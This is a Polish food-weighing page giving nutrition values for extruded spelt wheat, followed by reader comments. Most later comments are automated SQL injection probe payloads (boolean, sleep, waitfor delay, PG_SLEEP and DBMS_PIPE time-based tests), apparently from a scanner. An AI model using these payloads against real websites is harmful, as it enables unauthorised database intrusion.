Garść ekstrudowanej pszenicy orkisz
Garść ekstrudowanej pszenicy orkisz waży 10 g.
| 100g | na zdjęciu (10 g) | |
|---|---|---|
| Energia | 323 kcal | 32 kcal |
| Białko | 10,8 g | 1,1 g |
| Tłuszcz | 2,7 g | 0,3 g |
| Węglowodany | 63,2 g | 6,3 g |
| Błonnik | b.d. | - |
Ekstrudowana pszenica orkisz kalorie w 100g: 323kcal
Zobacz więcej: 10g orkisz pszenica ekstrudowana garść
Ostatnia aktualizacja: 2024.08.19
Ważenie dodano: 2014.05.17 w kategorii Produkty zbożowe
Dzienne zapotrzebowanie 
Porcja ze zdjęcia
dla 2000 kcal
pokaż dla mojego zapotrzebowania
| Skład: | pszenica orkisz. |
| Producent: | Pro-Bio |
Inne ważenia tego produktu:
-
Łyżeczka mąki konopnej -
Łyżka pełnoziarnistych płatków zbożowych z owocami żurawina, borówka, jagody goji (nowa wersja) -
Szklanka mąki żytniej razowej -
Łyżka mąki konopnej -
Szklanka pełnoziarnistych płatków zbożowych żurawina, borówka, jagody goji -
Szklanka mąki konopnej -
Porcja pełnoziarnistych płatków zbożowych żurawina, borówka, jagody goji -
Szklanka pełnoziarnistych płatków zbożowych z owocami żurawina, borówka, jagody goji (nowa wersja) -
Łyżka pełnoziarnistych płatków zbożowych żurawina, borówka, jagody goji -
Porcja pełnoziarnistych płatków zbożowych z owocami żurawina, borówka, jagody goji (nowa wersja) -
Łyżka pełnoziarnistego czerwonego ryżu -
Szklanka pełnoziarnistego czerwonego ryżu
Mamy 58 opinii na temat ważenia - napisz własną
-
Agataskate 2014/05/18 07:20Z czym to sie je? Jak to smakuje?
-
tak trudno wygooglować "ekstrudowana pszenica przepisy" ? :x wszystko na tacy trzeba mieć, jakby i tak już mało ta strona pomagała..
-
smakuje to może jak pszenica preparowana?
-
[komentarz usunięty. nie na temat. To nie jest miejsce do zgłaszania propozycji ważeń.]
-
@Agataskate: "Jak to smakuje?": Jeżeli miałaś okazję konsumować kiedyś preparowany ryż: http://www.ilewazy.pl/szklanka-ryzu-preparowanego, to na tej samej zasadzie (taki sam proces technologiczny) powstała ta pszenica orkisz. Czyli to takie "nadmuchane" ziarno. Przyjmuje smak ziarna, z którego powstaje :)
Na rynku znajdują się też wersje ekspandowanych ziaren z dodatkami: http://www.ilewazy.pl/szklanka-chrupiacej-gryki-z-melasa-i-migdalami lub http://www.ilewazy.pl/szklanka-chrupiacej-pszenicy-z-melasa-i-migdalami.
@Z czym to sie je?: z czym tylko zechcesz ;) Możesz na przykład dodać do mleka, przetworów mlecznych czy roślinnych, soków itd..
Ja wykorzystałam zważoną pszenicę w następujący sposób: połączyłam ją z naturalnym jogurtem i dodałam rozdrobnione, świeże owoce.
@MoReLoWa<3: Nie wiem, czy chodzi Ci o rodzaj zboża czy o proces produkcji ?
Jeżeli chodzi o zboże, to nie miałam okazji próbować wyrobu z pszenicy zwyczajnej. Jeżeli chodziło Ci o proces technologiczny - dla ziaren stosuje się zwyczajowo zamiennie nazewnictwo ekstrudowane - ekspandowane - preparowane.
-
555
-
555
-
555
-
555vx9YItEB
-
555
-
-1 OR 2+749-749-1=0+0+0+1 --
-
-1 OR 2+659-659-1=0+0+0+1
-
-1' OR 2+164-164-1=0+0+0+1 --
-
-1' OR 2+857-857-1=0+0+0+1 or 'wnBlXObe'='
-
-1" OR 2+249-249-1=0+0+0+1 --
-
555*if(now()=sysdate(),sleep(15),0)
-
5550'XOR(555*if(now()=sysdate(),sleep(15),0))XOR'Z
-
5550"XOR(555*if(now()=sysdate(),sleep(15),0))XOR"Z
-
(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/
-
555-1; waitfor delay '0:0:15' --
-
555-1); waitfor delay '0:0:15' --
-
555-1 waitfor delay '0:0:15' --
-
555fNjHzEXQ'; waitfor delay '0:0:15' --
-
555-1 OR 876=(SELECT 876 FROM PG_SLEEP(15))--
-
555-1) OR 683=(SELECT 683 FROM PG_SLEEP(15))--
-
555-1)) OR 76=(SELECT 76 FROM PG_SLEEP(15))--
-
555nttevEfc' OR 123=(SELECT 123 FROM PG_SLEEP(15))--
-
555lz2mg01x') OR 550=(SELECT 550 FROM PG_SLEEP(15))--
-
5554UlpfHQV')) OR 912=(SELECT 912 FROM PG_SLEEP(15))--
-
555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)
-
555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'
-
555
-
555'"
-
555%2527%2522'"
-
@@nhudR
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
-
555
Dodaj komentarz na temat ważenia
Oceń smak i właściwości produktu. Podziel się ciekawym przepisem, napisz jak wykorzystujesz go w kuchni. Jeśli produkt jest dla Ciebie nowością nie krępuj się pytać o sposób przyrządzania czy dostępność.
Możesz dodać komentarz jako niezalogowany lub zaloguj się albo zarejestuj aby w pełni korzystać z ileważy.pl